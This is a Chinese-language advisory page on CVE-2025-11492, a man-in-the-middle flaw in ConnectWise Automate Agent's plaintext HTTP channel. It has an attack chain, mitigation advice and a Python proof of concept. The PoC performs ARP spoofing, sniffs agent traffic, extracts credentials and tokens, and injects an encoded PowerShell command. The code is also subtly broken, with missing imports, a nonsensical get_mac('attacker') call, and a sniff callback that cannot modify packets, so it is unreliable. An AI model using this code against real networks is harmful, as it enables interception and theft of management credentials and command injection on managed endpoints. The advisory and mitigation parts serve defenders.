IPBUF安全漏洞报告
English
CVE-2025-11492 CVSS 9.6 严重

CVE-2025-11492:ConnectWise Automate Agent中间人攻击漏洞

披露日期: 2025-10-16
来源: 7d616e1a-3288-43b1-a0dd-0a65d3e70a49

漏洞信息

漏洞编号
CVE-2025-11492
漏洞类型
中间人攻击(MITM)/明文通信
CVSS评分
9.6 严重
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ConnectWise Automate Agent

相关标签

中间人攻击MITM明文通信HTTPConnectWiseAutomateRMM远程监控管理CVSS 9.6Critical

漏洞概述

CVE-2025-11492是ConnectWise Automate Agent中的一个严重安全漏洞,CVSS评分高达9.6,属于Critical级别。该漏洞源于ConnectWise Automate Agent的通信机制可以被配置为使用HTTP而非HTTPS协议进行数据传输。当Agent与服务器之间的通信采用HTTP明文传输时,处于同一网络中的攻击者可以利用中间人攻击(Man-in-the-Middle, MITM)位置,拦截、修改或重放Agent与服务器之间的通信流量。

此外,ConnectWise Automate在HTTP通道上使用了一种加密方法来混淆部分通信内容,但该加密方法存在安全缺陷,攻击者可以对其进行解密和篡改。ConnectWise在2025.9补丁版本中对此问题进行了修复,强制要求所有Agent通信必须使用HTTPS协议,确保数据传输的机密性、完整性和抗重放能力。

该漏洞的影响范围广泛,因为ConnectWise Automate是一款被广泛使用的远程监控和管理(RMM)工具,IT服务提供商(MSP)利用该工具管理大量客户端设备和系统。一旦Agent通信被攻击者劫持,攻击者不仅能够窃取敏感的管理凭据和配置信息,还可以通过注入恶意指令来控制被管理的终端设备,从而实现远程代码执行、数据窃取、横向移动等进一步攻击行为,对整个MSP管理的网络环境构成严重威胁。

技术细节

该漏洞的核心技术原理在于ConnectWise Automate Agent与服务器之间的通信协议配置不当。具体而言:

1. **明文HTTP通信**:Agent默认支持HTTP协议进行与服务器之间的通信,当配置为HTTP时,所有数据(包括认证凭据、命令指令、监控数据等)均以明文形式在网络上传输。攻击者只需在同一网络段(如同一局域网、同一VLAN或通过ARP欺骗等方式接入)即可通过数据包嗅探工具(如Wireshark、tcpdump)捕获所有通信内容。

2. **弱加密混淆机制**:对于HTTP通道上的部分敏感数据,ConnectWise使用了自定义的加密方法进行混淆。然而,该加密方法存在以下问题:
- 加密密钥管理不当,可能硬编码或使用可预测的密钥;
- 加密算法强度不足,易被逆向分析;
- 未使用认证加密(AEAD),无法保证数据完整性。

3. **中间人攻击利用**:攻击者在网络路径上部署MITM代理(如mitmproxy、Ettercap等),可以:
- 拦截Agent发送的认证凭据;
- 修改Agent与服务器之间的指令和数据;
- 重放已捕获的合法请求以执行未授权操作;
- 向Agent注入恶意脚本或命令,实现远程代码执行。

4. **利用条件**:攻击向量为邻接网络(AV:A),意味着攻击者需要在与目标相同的网络环境中,但无需任何认证(PR:N)和用户交互(UI:N),即可实施攻击。

攻击链分析

STEP 1
步骤1:网络接入
攻击者接入目标网络环境,可以通过物理接入、无线接入或利用其他漏洞获取网络访问权限。由于攻击向量为邻接网络(AV:A),攻击者需要与目标Agent处于同一网络段。
STEP 2
步骤2:ARP欺骗
攻击者执行ARP欺骗攻击,伪造网关的MAC地址,使目标Agent的流量经过攻击者的设备,实现中间人位置。
STEP 3
步骤3:流量拦截
使用数据包嗅探工具(如Wireshark)或MITM代理(如mitmproxy)拦截Agent与服务器之间的HTTP明文通信,捕获认证凭据、会话令牌等敏感信息。
STEP 4
步骤4:解密混淆数据
对HTTP通道上使用弱加密方法混淆的数据进行解密,获取明文内容,分析Agent与服务器之间的通信协议和指令格式。
STEP 5
步骤5:指令注入
向Agent与服务器之间的通信中注入恶意指令,利用Agent的远程执行能力在被管理的终端设备上执行任意代码。
STEP 6
步骤6:横向移动
通过被控制的Agent,进一步渗透MSP管理的其他客户端网络,实现大规模横向移动和数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11492 - ConnectWise Automate Agent MITM Attack PoC # This PoC demonstrates how an attacker can intercept and modify # HTTP-based communications between ConnectWise Automate Agent and Server import socket import struct import threading from scapy.all import ARP, Ether, srp, sniff, IP, TCP, Raw # Step 1: ARP Spoofing to perform MITM def arp_spoof(target_ip, gateway_ip): """Perform ARP spoofing to redirect traffic through attacker""" target_mac = get_mac(target_ip) gateway_mac = get_mac(gateway_ip) # Craft ARP reply packets packet = Ether(dst=target_mac, src=get_mac('attacker')) / \ ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=get_mac('attacker')) sendp(packet, verbose=False) print(f"[*] ARP spoofing: {target_ip} <-> {gateway_ip}") # Step 2: Intercept HTTP Communications def intercept_agent_traffic(packet): """Intercept and analyze ConnectWise Automate Agent HTTP traffic""" if packet.haslayer(Raw) and packet.haslayer(TCP): payload = packet[Raw].load.decode('utf-8', errors='ignore') # Detect ConnectWise Automate Agent communication patterns if 'ConnectWise' in payload or 'Automate' in payload: print(f"[+] Intercepted Agent Communication:") print(f" Source: {packet[IP].src}:{packet[TCP].sport}") print(f" Dest: {packet[IP].dst}:{packet[TCP].dport}") print(f" Payload: {payload[:200]}...") # Extract credentials and session tokens extract_credentials(payload) # Attempt to modify commands (command injection) modified_payload = inject_malicious_command(payload) return modified_payload return None # Step 3: Extract sensitive data from intercepted traffic def extract_credentials(payload): """Extract authentication credentials from HTTP traffic""" patterns = { 'username': r'username=([^&\s]+)', 'password': r'password=([^&\s]+)', 'session_token': r'token=([^&\s]+)', 'machine_id': r'machineId=([^&\s]+)' } for key, pattern in patterns.items(): match = re.search(pattern, payload) if match: print(f"[!] Found {key}: {match.group(1)}") # Step 4: Inject malicious commands def inject_malicious_command(payload): """Inject malicious commands into agent-server communication""" malicious_cmd = "<script>exec('powershell -enc <base64_payload>');</script>" if '<command>' in payload: payload = payload.replace('</command>', f'{malicious_cmd}</command>') print(f"[!] Injected malicious command into payload") return payload # Main execution if __name__ == "__main__": TARGET_IP = "192.168.1.100" # ConnectWise Agent IP GATEWAY_IP = "192.168.1.1" # Network Gateway # Enable IP forwarding os.system("echo 1 > /proc/sys/net/ipv4/ip_forward") # Start ARP spoofing arp_spoof(TARGET_IP, GATEWAY_IP) # Start sniffing and intercepting sniff(filter="tcp port 80", prn=intercept_agent_traffic, store=0)

影响范围

ConnectWise Automate Agent < 2025.9补丁版本

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在网络层面部署ARP欺骗防护(如动态ARP检测DAI);2)使用IPsec VPN或TLS隧道加密Agent与服务器之间的所有通信流量;3)通过网络访问控制(NAC)限制Agent所在网络的接入权限,仅允许授权设备接入;4)监控网络流量中的异常HTTP通信模式,及时发现潜在的MITM攻击;5)轮换所有可能泄露的管理凭据和API密钥。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表